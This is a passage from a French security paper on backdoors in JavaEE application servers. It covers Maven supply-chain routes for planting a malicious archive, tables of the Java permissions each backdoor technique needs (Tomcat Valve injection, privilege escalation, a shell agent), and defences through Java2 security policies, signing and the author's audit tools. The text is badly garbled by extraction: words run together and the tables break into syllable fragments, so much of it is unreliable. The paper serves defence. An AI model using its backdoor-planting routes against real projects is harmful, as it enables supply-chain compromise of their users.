En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

